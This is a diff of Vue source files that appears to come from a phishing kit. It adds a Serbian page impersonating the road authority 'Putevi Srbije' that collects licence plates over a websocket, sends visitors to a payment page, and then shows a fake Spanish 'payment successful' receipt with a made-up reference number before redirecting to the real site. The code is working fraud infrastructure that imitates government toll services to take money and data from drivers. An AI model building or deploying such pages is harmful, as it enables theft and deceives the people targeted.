position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-image: url('/Static_zy/T7JPo5FO.jpg');
background-size: cover;
background-position: center;
filter: blur(8px) brightness(0.95); /* 模糊處理 */
transform: scale(1.1); /* 消除邊緣白邊 */
z-index: 1;
}
/* 內容層:疊加在背景之上 */
.card-body-layer {
position: relative;
z-index: 2;
background-color: rgba(255, 255, 255, 0.82); /* 半透明白色,讓背景隱約透出 */
padding: 45px 30px;
text-align: center;
}
/* 標題 */
.main-title {
font-size: 32px;
font-weight: 800;
color: #222;
margin-bottom: 35px;
line-height: 1.1;
letter-spacing: -0.5px;
}
/* 段落文字 */
.message-text p {
font-size: 16px;
color: #333;
line-height: 1.5;
font-weight: 600;
margin-bottom: 30px;
text-align: left;
}
/* 金額顯示 */
.amount-info {
text-align: left;
font-size: 17px;
font-weight: 700;
margin-bottom: 35px;
color: #000;
}
.amount-info .value {
margin-left: 4px;
}
/* 綠色按鈕 */
.btn-pay {
width: 100%;
background-color: #58b368; /* 接近圖中的綠色 */
color: white;
border: none;
border-radius: 10px;
padding: 16px 0;
font-size: 19px;
font-weight: bold;
cursor: pointer;
box-shadow: 0 4px 12px rgba(88, 179, 104, 0.3);
transition: all 0.2s ease;
}
.btn-pay:active {
transform: scale(0.98);
filter: brightness(0.9);
}
/* 針對小屏幕優化 */
@media (max-width: 400px) {
.card-body-layer {
padding: 35px 20px;
}
.main-title {
font-size: 26px;
}
}
</style>

View File

@@ -0,0 +1,225 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const formData = ref({ licensePlateData: { licensePlate: "" } });
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
inputChange("Регистарска ознака", "plate", event.target.value);
};
const next = () => {
localStorage.setItem("licensePlate", formData.value.licensePlateData.licensePlate);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/pay");
}, 200);
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => {}
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.licensePlateData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="image-container">
<img
src="/Static_zy/koridor10-juzni-krak.jpg"
alt="Путеви Србије"
style="width: 100%; height: auto; max-width: 100%; margin-top: -10px; margin-bottom: -16px;">
</div>
<div class="main-content-body">
<div class="container">
<form @submit.prevent="next">
<div class="content-body">
<h1>{{ t("Провера статуса наплате путарине") }}</h1>
<p>
{{ t("Унесите регистарску ознаку возила да бисте проверили статус неплаћених путарина и казни према подацима ЈП 'Путеви Србије'.") }}
</p>
<div class="input-group">
<label for="licensePlate">
{{ t("Регистарска ознака") }}
</label>
<input
id="licensePlate"
type="text"
required
autofocus
@input="onchange"
v-model="formData.licensePlateData.licensePlate"
inputmode="text"
:placeholder="t('Пример: BG123456')"
class="full-width-input"
/>
</div>
</div>
<div class="button-submit">
<button type="submit" class="full-width-btn">
{{ t("Провери статус") }}
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.image-container {
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 1rem;
}
.main-content-body {
background-color: #f0f4f8;
padding: 3rem 1rem;
display: flex;
align-items: center;
}
.container {
max-width: 720px;
margin: 0 auto;
background-color: #ffffff;
border: 1px solid #d0d7de;
border-radius: 8px;
padding: 2rem;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.content-body {
text-align: left;
}
h1 {
font-size: 1.8rem;
font-weight: 700;
color: #003087;
margin-bottom: 1rem;
font-family: 'Arial', sans-serif;
}
p {
color: #333333;
font-size: 1rem;
line-height: 1.5;
margin-bottom: 1.5rem;
font-family: 'Arial', sans-serif;
}
.input-group {
margin-bottom: 1.5rem;
}
label {
display: block;
font-size: 1rem;
font-weight: 500;
color: #003087;
margin-bottom: 0.5rem;
font-family: 'Arial', sans-serif;
}
.full-width-input {
width: 100%;
box-sizing: border-box;
padding: 0.75rem;
font-size: 1rem;
border: 1px solid #b0b8c1;
border-radius: 5px;
background-color: #ffffff;
color: #333333;
font-family: 'Arial', sans-serif;
transition: border-color 0.2s;
margin-bottom: 0;
display: block;
}
.full-width-input:focus {
outline: none;
border-color: #003087;
box-shadow: 0 0 0 2px rgba(0, 48, 135, 0.2);
}
.button-submit {
text-align: center;
}
.full-width-btn {
width: 100%;
background-color: #003087;
color: #ffffff;
border: none;
border-radius: 5px;
font-size: 1.1rem;
font-weight: 600;
padding: 0.85rem 0;
cursor: pointer;
transition: background 0.2s;
font-family: 'Arial', sans-serif;
margin-top: 0.3rem;
box-sizing: border-box;
display: block;
}
.full-width-btn:hover {
background-color: #00205b;
}
@media (max-width: 768px) {
.container {
padding: 1.5rem;
margin: 0 1rem;
}
h1 {
font-size: 1.3rem;
}
p {
font-size: 0.9rem;
}
.full-width-input {
padding: 0.6rem;
}
.full-width-btn {
padding: 0.75rem 0;
font-size: 1rem;
}
}
</style>

View File

@@ -0,0 +1,244 @@
<script setup lang="ts">
import { onMounted, ref, computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { myWebSocket, redirectToExternal, configData } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const loading = ref(true);
const invoiceNumber = ref("");
const referenceId = ref("");
// 格式化為智利本地常用日期格式 (DD/MM/YYYY)
const getChileFormattedDate = () => {
const date = new Date();
const day = String(date.getDate()).padStart(2, '0');
const month = String(date.getMonth() + 1).padStart(2, '0');
const year = date.getFullYear();
return `${day}/${month}/${year}`;
};
const paymentDate = computed(() => getChileFormattedDate());
onMounted(() => {
// 1. 生成隨機 Reference ID
referenceId.value = Math.random().toString(36).toUpperCase().substring(2, 12);
// 2. 通知後端頁面類型
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "success" },
})
);
// 3. 獲取之前的單號
const inumber = localStorage.getItem("invoiceNumber");
invoiceNumber.value = inumber || "CL-PR-2026-9912";
// 4. 保持邏輯3秒後自動跳轉回官方網站
setTimeout(() => {
loading.value = false;
redirectToExternal();
}, 3000);
localStorage.setItem("route", "success");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="success-page-wrapper">
<div class="background-overlay"></div>
<div class="success-card">
<div class="success-icon-container">
<div class="check-mark">
<svg viewBox="0 0 24 24">
<path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41z" />
</svg>
</div>
</div>
<h1 class="success-title">¡Pago Exitoso!</h1>
<p class="success-subtitle">Su transacción ha sido procesada con éxito.</p>
<div class="receipt-box">
<div class="receipt-row">
<span class="r-label">Comprobante:</span>
<span class="r-value">{{ invoiceNumber }}</span>
</div>
<div class="receipt-row">
<span class="r-label">Monto:</span>
<span class="r-value highlight">{{ configData?.pay_amount ? '$' + configData.pay_amount : '$6.99' }}</span>
</div>
<div class="receipt-row">
<span class="r-label">Fecha:</span>
<span class="r-value">{{ paymentDate }}</span>
</div>
<div class="receipt-row">
<span class="r-label">Referencia:</span>
<span class="r-value mono">#{{ referenceId }}</span>
</div>
</div>
<div class="redirect-notice" v-if="loading">
<div class="loader-dot"></div>
<span>Redirigiendo al sitio oficial...</span>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* 整體容器與背景 */
.success-page-wrapper {
position: relative;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
overflow: hidden;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
padding: 20px;
}
.background-overlay {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
/* background-image: url('/Static_zy/T7JPo5FO.jpg'); */
background-size: cover;
background-position: center;
filter: blur(6px) brightness(0.8);
transform: scale(1.1);
z-index: 1;
}
/* 成功卡片 */
.success-card {
position: relative;
z-index: 2;
width: 100%;
max-width: 400px;
background-color: rgba(255, 255, 255, 0.92);
border-radius: 16px;
padding: 40px 25px;
text-align: center;
box-shadow: 0 15px 35px rgba(0, 0, 0, 0.2);
}
/* 圖標設計 */
.success-icon-container {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.check-mark {
width: 72px;
height: 72px;
background-color: #4caf50; /* 使用之前統一的綠色 */
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 4px 12px rgba(76, 175, 80, 0.3);
}
.check-mark svg {
width: 40px;
height: 40px;
fill: white;
}
/* 文字樣式 */
.success-title {
font-size: 28px;
font-weight: 800;
color: #1a1a1a;
margin-bottom: 8px;
}
.success-subtitle {
font-size: 15px;
color: #666;
margin-bottom: 30px;
}
/* 數據展示區 */
.receipt-box {
background: rgba(0, 0, 0, 0.03);
border-radius: 12px;
padding: 20px;
margin-bottom: 25px;
}
.receipt-row {
display: flex;
justify-content: space-between;
margin-bottom: 12px;
font-size: 14px;
}
.receipt-row:last-child {
margin-bottom: 0;
}
.r-label {
color: #777;
font-weight: 500;
}
.r-value {
color: #1a1a1a;
font-weight: 700;
}
.r-value.highlight {
color: #4caf50;
font-size: 16px;
}
.r-value.mono {
font-family: 'Courier New', Courier, monospace;
}
/* 跳轉加載 */
.redirect-notice {
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
font-size: 13px;
color: #888;
}
.loader-dot {
width: 8px;
height: 8px;
background-color: #4caf50;
border-radius: 50%;
animation: pulse 1.5s infinite ease-in-out;
}
@keyframes pulse {
0%, 100% { opacity: 0.3; transform: scale(0.8); }
50% { opacity: 1; transform: scale(1.2); }
}
@media (max-width: 400px) {
.success-card {
padding: 30px 20px;
}
.success-title {
font-size: 24px;
}
}
</style>